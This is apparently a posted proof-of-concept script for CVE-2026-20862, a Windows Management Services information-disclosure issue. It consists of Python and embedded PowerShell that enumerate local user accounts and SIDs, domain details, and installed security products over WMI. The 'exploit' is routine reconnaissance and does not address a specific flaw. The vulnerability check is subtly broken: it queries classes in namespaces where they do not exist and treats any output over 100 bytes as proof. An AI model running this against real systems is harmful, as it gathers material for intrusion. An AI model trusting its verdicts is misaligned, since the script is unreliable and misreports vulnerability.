CVE-2026-20862: Windows Management Services敏感信息泄露漏洞

# CVE-2026-20862 PoC - Windows Management Services Information Disclosure # This PoC demonstrates the information disclosure vulnerability in Windows Management Services # Author: Security Researcher # Note: This is for educational and authorized testing purposes only import subprocess import json import sys def check_vulnerability(): """ Check if the system is vulnerable to CVE-2026-20862 This function attempts to query sensitive WMI information """ vulnerable_indicators = [] # Target WMI namespaces that may expose sensitive information target_namespaces = [ "root\\SecurityCenter2", "root\\Microsoft\\Windows\\ Defender", "root\\cimv2\\security\\MicrosoftTpm" ] print("[*] Testing for CVE-2026-20862 vulnerability...") print("[*] Target: Windows Management Services Information Disclosure") print("[*] CVSS Score: 5.5 (Medium)") print("-" * 60) # Check if running on Windows if sys.platform != 'win32': print("[!] This PoC is designed for Windows systems only") return False # Attempt WMI query to test information disclosure for namespace in target_namespaces: try: # PowerShell command to query WMI namespace ps_command = f''' $ErrorActionPreference = 'SilentlyContinue' Get-WmiObject -Namespace "{namespace}" -Class Win32_OperatingSystem | Select-Object * ''' result = subprocess.run( ['powershell', '-Command', ps_command], capture_output=True, text=True, timeout=10 ) if result.returncode == 0 and result.stdout: # Check if sensitive information is exposed if len(result.stdout) > 100: # Significant data returned vulnerable_indicators.append({ 'namespace': namespace, 'data_size': len(result.stdout), 'status': 'Potentially Exposed' }) print(f"[+] Sensitive data found in namespace: {namespace}") print(f"[+] Data size: {len(result.stdout)} bytes") except Exception as e: print(f"[-] Error querying namespace {namespace}: {str(e)}") print("-" * 60) if vulnerable_indicators: print("[!] System appears to be VULNERABLE to CVE-2026-20862") print(f"[!] Found {len(vulnerable_indicators)} potential information disclosure points") return True else: print("[+] System may not be vulnerable or requires elevated inspection") return False def exploit_demo(): """ Demonstrate the exploitation technique Note: Only for authorized security testing """ print("\n[*] CVE-2026-20862 Exploitation Demonstration") print("[*] This demonstrates how an attacker could exploit this vulnerability") print("-" * 60) # PowerShell script to extract sensitive information exploit_script = ''' # CVE-2026-20862 Exploitation Script # Requirements: Local user account (low privilege) Write-Host "[+] CVE-2026-20862 Exploitation Starting..." Write-Host "[+] Current User: $env:USERNAME" Write-Host "[+] Current Privilege Level: User" # Query sensitive information from Windows Management Services $sensitiveData = @() # Enumerate user accounts information Write-Host "`n[*] Attempting to retrieve user account information..." try { $users = Get-WmiObject -Namespace "root\\cimv2" -Class Win32_UserAccount -ErrorAction SilentlyContinue if ($users) { foreach ($user in $users) { $sensitiveData += [PSCustomObject]@{ AccountName = $user.Name FullName = $user.FullName SID = $user.SID Status = $user.Status } } Write-Host "[+] Successfully retrieved user account information" } } catch { Write-Host "[-] Failed to retrieve user information" } # Query system information Write-Host "`n[*] Attempting to retrieve system configuration..." try { $sysInfo = Get-WmiObject -Namespace "root\\cimv2" -Class Win32_ComputerSystem -ErrorAction SilentlyContinue if ($sysInfo) { Write-Host "[+] Domain: $($sysInfo.Domain)" Write-Host "[+] Computer Name: $($sysInfo.Name)" Write-Host "[+] Manufacturer: $($sysInfo.Manufacturer)" } } catch { Write-Host "[-] Failed to retrieve system information" } # Query security products Write-Host "`n[*] Attempting to retrieve security product information..." try { $securityProducts = Get-WmiObject -Namespace "root\\SecurityCenter2" -ErrorAction SilentlyContinue if ($securityProducts) { foreach ($product in $securityProducts) { Write-Host "[+] Security Product: $($product.displayName)" } } } catch { Write-Host "[-] Failed to retrieve security product information" } Write-Host "`n[!] Information Disclosure Successful" Write-Host "[!] This demonstrates the vulnerability impact" ''' try: result = subprocess.run( ['powershell', '-Command', exploit_script], capture_output=True, text=True, timeout=30 ) print(result.stdout) if result.stderr: print(f"[!] Errors: {result.stderr}") except Exception as e: print(f"[-] Execution error: {str(e)}") if __name__ == "__main__": print("CVE-2026-20862 - Windows Management Services Information Disclosure") print("=" * 60) # Run vulnerability check is_vulnerable = check_vulnerability() # Optional: Run demonstration (uncomment for authorized testing) # print("\n[*] Running exploitation demonstration...") # exploit_demo() print("\n[*] Remediation: Apply Microsoft security update for CVE-2026-20862") print("[*] Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20862")